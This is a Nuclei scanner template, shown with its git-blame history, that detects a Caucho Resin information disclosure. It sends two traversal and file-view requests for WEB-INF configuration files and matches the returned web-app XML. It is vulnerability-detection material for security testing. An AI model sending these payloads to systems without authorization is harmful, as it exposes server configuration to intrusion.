nuclei-templates/vulnerabilities/other/caucho-resin-info-disclosur...

id: caucho-resin-info-disclosure

info:
  name: Caucho Resin - Information Disclosure
  author: pikpikcu
  severity: info
  description: Caucho Resin contains an information disclosure vulnerability. The application does not properly sanitize user-supplied input. An attacker can potentially obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  reference:
    - https://www.exploit-db.com/exploits/27888
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
    cvss-score: 0.0
    cwe-id: CWE-200
  tags: exposure,resin,caucho,edb

requests:
  - method: GET
    path:
      - "{{BaseURL}}/resin-doc/viewfile/?file=/WEB-INF/resin-web.xml" # Version: 3.0.17/3.0.18
      - "{{BaseURL}}/%20../web-inf/web.xml" # Version: 3.1.1

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "<web-app"
          - "</web-app>"
        part: body
        condition: and

      - type: status
        status:
          - 200

# Enhanced by md on 2023/03/23
few updates 2021-02-01 17:32:39 +00:00			`id: caucho-resin-info-disclosure`
Create caucho-resin-information-disclosure.yaml 2021-02-01 15:43:29 +00:00
			`info:`
Enhancement: vulnerabilities/other/caucho-resin-info-disclosure.yaml by md 2023-03-23 19:46:35 +00:00			`name: Caucho Resin - Information Disclosure`
Create caucho-resin-information-disclosure.yaml 2021-02-01 15:43:29 +00:00			`author: pikpikcu`
			`severity: info`
Enhancement: vulnerabilities/other/caucho-resin-info-disclosure.yaml by md 2023-03-23 19:46:35 +00:00			`description: Caucho Resin contains an information disclosure vulnerability. The application does not properly sanitize user-supplied input. An attacker can potentially obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.`
refactor: Description field uniformization * info field reorder * reference values refactored to list * added new lines after the id and before the protocols * removed extra new lines * split really long descriptions to multiple lines (part 1) * other minor fixes 2022-04-22 10:38:41 +00:00			`reference:`
			`- https://www.exploit-db.com/exploits/27888`
Enhancement: vulnerabilities/other/caucho-resin-info-disclosure.yaml by md 2023-03-23 19:46:35 +00:00			`classification:`
			`cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N`
			`cvss-score: 0.0`
			`cwe-id: CWE-200`
Auto Generated CVE annotations [Sat Aug 27 04:41:18 UTC 2022] :robot: 2022-08-27 04:41:18 +00:00			`tags: exposure,resin,caucho,edb`
Create caucho-resin-information-disclosure.yaml 2021-02-01 15:43:29 +00:00
			`requests:`
			`- method: GET`
			`path:`
minor updates 2021-08-19 17:41:29 +00:00			`- "{{BaseURL}}/resin-doc/viewfile/?file=/WEB-INF/resin-web.xml" # Version: 3.0.17/3.0.18`
			`- "{{BaseURL}}/%20../web-inf/web.xml" # Version: 3.1.1`
Create caucho-resin-information-disclosure.yaml 2021-02-01 15:43:29 +00:00
minor updates 2021-08-19 17:41:29 +00:00			`matchers-condition: and`
Create caucho-resin-information-disclosure.yaml 2021-02-01 15:43:29 +00:00			`matchers:`
			`- type: word`
			`words:`
Update vulnerabilities/other/caucho-resin-info-disclosure.yaml Co-authored-by: Toufik Airane <toufik.airane@appsectribe.com> 2021-08-19 17:39:26 +00:00			`- "<web-app"`
			`- "</web-app>"`
			`part: body`
minor updates 2021-08-19 17:41:29 +00:00			`condition: and`

			`- type: status`
			`status:`
			`- 200`
Enhancement: vulnerabilities/other/caucho-resin-info-disclosure.yaml by md 2023-03-23 19:46:35 +00:00
			`# Enhanced by md on 2023/03/23`